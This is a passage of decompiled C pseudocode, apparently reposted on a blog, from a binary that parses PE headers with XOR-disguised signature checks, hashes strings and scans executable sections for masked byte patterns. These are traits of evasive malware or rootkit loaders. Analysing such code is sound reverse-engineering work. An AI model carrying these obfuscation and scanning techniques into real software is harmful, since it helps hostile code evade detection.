  int v6; // edx@7
  int v7; // ecx@7
  __int16 v8; // dx@12

  if ( *(_WORD *)a2 != 23117 || (v4 = a2 + *(_DWORD *)(a2 + 60), (*(_DWORD *)v4 ^ 0xF750F284) != -145705004) )
    return 1;
  v5 = *(_WORD *)(v4 + 4);
  if ( 22531 == (v5 ^ 0x594F) )
  {
    if ( (*(_WORD *)(v4 + 24) ^ 0x5908) == 22531 && *(_WORD *)(v4 + 20) == 224 )
    {
      v7 = a1;
      *(_DWORD *)a1 = 0;
      v6 = v4 + 120;
LABEL_12:
      *(_DWORD *)(v7 + 16) = v6;
      *(_DWORD *)(v7 + 26) = *(_DWORD *)(v4 + 80);
      *(_DWORD *)(v7 + 20) = *(_WORD *)(v4 + 20) + v4 + 24;
      v8 = *(_WORD *)(v4 + 6);
      *(_DWORD *)(v7 + 12) = v4;
      *(_DWORD *)(v7 + 4) = a3;
      *(_WORD *)(v7 + 24) = v8;
      *(_DWORD *)(v7 + 8) = a2;
      return 0;
    }
  }
  else
  {
    if ( 22531 == (v5 ^ 0xDE67) && (*(_WORD *)(v4 + 24) ^ 0x5A08) == 22531 && *(_WORD *)(v4 + 20) == 240 )
    {
      v7 = a1;
      *(_DWORD *)a1 = 1;
      v6 = v4 + 136;
      goto LABEL_12;
    }
  }
  return 1;
}

//----- (000138BE) --------------------------------------------------------
signed int __cdecl sub_138BE(int a1, unsigned int a2)
{
  signed int result; // eax@1

  result = sub_13B3A(a1, a2);
  if ( result )
    result = a2 + *(_DWORD *)(a1 + 8);
  return result;
}

//----- (000138DB) --------------------------------------------------------
bool __cdecl sub_138DB(int a1, unsigned int a2, int a3, int a4)
{
  int v4; // esi@1
  bool result; // eax@2
  unsigned int v6; // eax@3

  v4 = *(_DWORD *)(a1 + 16) + 8 * a2;
  if ( a2 >= 0x10 )
    return 1;
  v6 = *(_DWORD *)v4;
  if ( *(_DWORD *)v4 )
  {
    if ( v6 + *(_DWORD *)(v4 + 4) > *(_DWORD *)(a1 + 26) )
      return 1;
    *(_DWORD *)a3 = sub_138BE(a1, *(_DWORD *)v4);
    *(_DWORD *)a4 = *(_DWORD *)(v4 + 4);
    result = *(_DWORD *)a3 == 0;
  }
  else
  {
    LOBYTE(v6) = *(_DWORD *)(v4 + 4) == v6;
    result = v6 + 1;
  }
  return result;
}

//----- (0001392E) --------------------------------------------------------
int __cdecl sub_1392E(int a1)
{
  int result; // eax@1
  int v2; // edx@1
  char v3; // cl@1
  int v4; // esi@2

  v2 = a1;
  v3 = *(_BYTE *)a1;
  for ( result = 0; *(_BYTE *)v2; result = v4 )
  {
    v4 = result * (7 * result + 1) + v3 * (17 * v3 + 12);
    ++v2;
    v3 = *(_BYTE *)v2;
  }
  return result;
}

//----- (00013A4B) --------------------------------------------------------
signed int __usercall sub_13A4B<eax>(unsigned int a1<eax>, int a2, int a3, unsigned __int16 a4)
{
  signed int v4; // eax@1
  unsigned int v5; // esi@1
  unsigned int v6; // eax@3
  signed int result; // eax@4

  v5 = a1;
  v4 = sub_138BE(a2, *(_DWORD *)(a1 + 28));
  if ( !v4
    || (unsigned int)a4 >= *(_DWORD *)(v5 + 20)
    || (v6 = *(_DWORD *)(v4 + 4 * a4), !v6)
    || (result = sub_138BE(a2, v6), !result)
    || result >= v5 && result < a3 + v5 )
    result = 0;
  return result;
}

//----- (00013B3A) --------------------------------------------------------
signed int __usercall sub_13B3A<eax>(int a1<eax>, unsigned int a2<ebx>)
{
  int v2; // esi@1
  signed int result; // eax@2
  int v4; // edi@3
  int v5; // eax@6
  unsigned int v6; // ecx@6
  unsigned int v7; // eax@8
  int v8; // esi@12
  unsigned __int16 v9; // [sp+4h] [bp-4h]@1

  v2 = *(_DWORD *)(a1 + 20);
  v9 = *(_WORD *)(a1 + 24);
  if ( a2 < *(_DWORD *)(a1 + 26) )
  {
    v4 = 0;
    if ( !*(_DWORD *)(a1 + 4) )
      goto LABEL_17;
    if ( *(_WORD *)(a1 + 24) <= 0u )
      goto LABEL_14;
    while ( 1 )
    {
      v5 = v2 + 40 * (unsigned __int16)v4;
      v6 = *(_DWORD *)(v5 + 8);
      if ( v6 >= *(_DWORD *)(v5 + 16) )
        v6 = *(_DWORD *)(v5 + 16);
      v7 = *(_DWORD *)(v5 + 12);
      if ( a2 >= v7 )
      {
        if ( a2 < v6 + v7 )
          break;
      }
      ++v4;
      if ( (_WORD)v4 >= v9 )
        goto LABEL_14;
    }
    v8 = *(_DWORD *)(40 * (unsigned __int16)v4 + v2 + 36);
    if ( v8 & 0x2000000 || !(v8 & 0x40000000) )
LABEL_14:
      result = 0;
    else
LABEL_17:
      result = 1;
  }
  else
  {
    result = 0;
  }
  return result;
}

//----- (00013BF1) --------------------------------------------------------
int __usercall sub_13BF1<eax>(unsigned int a1<eax>, int a2<ecx>, int a3, int a4, int a5)
{
  int v5; // ecx@1
  int v6; // edi@1
  int v7; // esi@1
  int result; // eax@2
  int v9; // eax@4
  int v10; // ebx@4
  unsigned int v11; // [sp+Ch] [bp-4h]@1

  v6 = a2 + 4;
  v5 = a2 + a1 - 13;
  v7 = a1 - 4;
  v11 = v5;
  if ( a1 >= 0xD )
  {
    if ( v6 <= (unsigned int)v5 )
    {
      do
      {
        v9 = v7 + v6 - 4;
        v10 = v6;
        if ( v6 > (unsigned int)v9 )
        {
LABEL_7:
          v10 = 0;
        }
        else
        {
          while ( *(_DWORD *)v10 != a3 )
          {
            ++v10;
            if ( v10 > (unsigned int)v9 )
              goto LABEL_7;
          }
        }
        if ( !v10 || v10 - 4 > v11 )
          break;
        if ( sub_13C66(a5, a4, v10 - 4, 0xDu) )
          return v10 - 4;
        v7 = v7 + v6 - v10 - 1;
        v6 = v10 + 1;
      }
      while ( v10 + 1 <= v11 );
    }
    result = 0;
  }
  else
  {
    result = 0;
  }
  return result;
}

//----- (00013C66) --------------------------------------------------------
signed int __usercall sub_13C66<eax>(int a1<eax>, int a2<edx>, int a3<ecx>, unsigned int a4)
{
  unsigned int v4; // edi@1
  int v5; // ecx@2
  int v6; // esi@2
  signed int result; // eax@5

  v4 = 0;
  if ( a4 )
  {
    v5 = a3 - a1;
    v6 = a2 - a1;
    while ( (*(_BYTE *)a1 & *(_BYTE *)(v5 + a1)) == *(_BYTE *)(v6 + a1) )
    {
      ++v4;
      ++a1;
      if ( v4 >= a4 )
        goto LABEL_5;
    }
    result = 0;
  }
  else
  {
LABEL_5:
    result = 1;
  }
  return result;
}

//----- (00013C92) --------------------------------------------------------
int __cdecl sub_13C92(int a1, char a2, int a3)
{
  int v3; // eax@2
  int v5; // [sp+0h] [bp-4h]@1

  v5 = a1;
  while ( 1 )
  {
    v3 = a3--;
    if ( !v3 )
      break;
    *(_BYTE *)a1++ = a2;
  }
  return v5;
}

//----- (00013CC0) --------------------------------------------------------
int __usercall sub_13CC0<eax>(int a1<eax>, int a2<edx>)
{
  int v2; // esi@1
  int v3; // eax@2
  int v4; // ecx@4

  v2 = a1;
  do
  {
    v3 = *(_BYTE *)v2++;
    if ( (unsigned int)(v3 - 65) <= 0x19 )
      v3 += 32;
    v4 = *(_BYTE *)a2++;
    if ( (unsigned int)(v4 - 65) <= 0x19 )
      v4 += 32;
  }
  while ( v3 && v3 == v4 );
  return v3 - v4;
}

//----- (00013D8E) --------------------------------------------------------
signed int __usercall sub_13D8E<eax>(int a1<eax>, int a2, int a3, unsigned int a4, int (__cdecl *a5)(_DWORD, _DWORD, _DWORD))
{
  unsigned int v5; // ebx@1
  int v6; // esi@2
  int v7; // eax@5
  signed int result; // eax@9

  v5 = 0;
  if ( a4 )
  {
    v6 = a1 + 8;
    while ( 1 )
    {
      if ( (*(_DWORD *)(v6 + 28) & 0x60000020) == 1610612768 )
      {        if ( !(*(_DWORD *)(v6 + 28) & 0x2000000) )
        {
          v7 = *(_DWORD *)v6;
          if ( *(_DWORD *)v6 >= *(_DWORD *)(v6 + 8) )
            v7 = *(_DWORD *)(v6 + 8);
          if ( a5(*(_DWORD *)(a2 + 33) + *(_DWORD *)(v6 + 4), v7, a3) )
            break;
        }
      }
      ++v5;
      v6 += 40;
      if ( v5 >= a4 )
        goto LABEL_9;
    }
    result = 1;
  }
  else
  {
LABEL_9:
    result = 0;
  }
  return result;
}

// ALL OK, 97 function(s) have been successfully decompiled

Sumber ; 1 2 3
Diberdayakan oleh Blogger.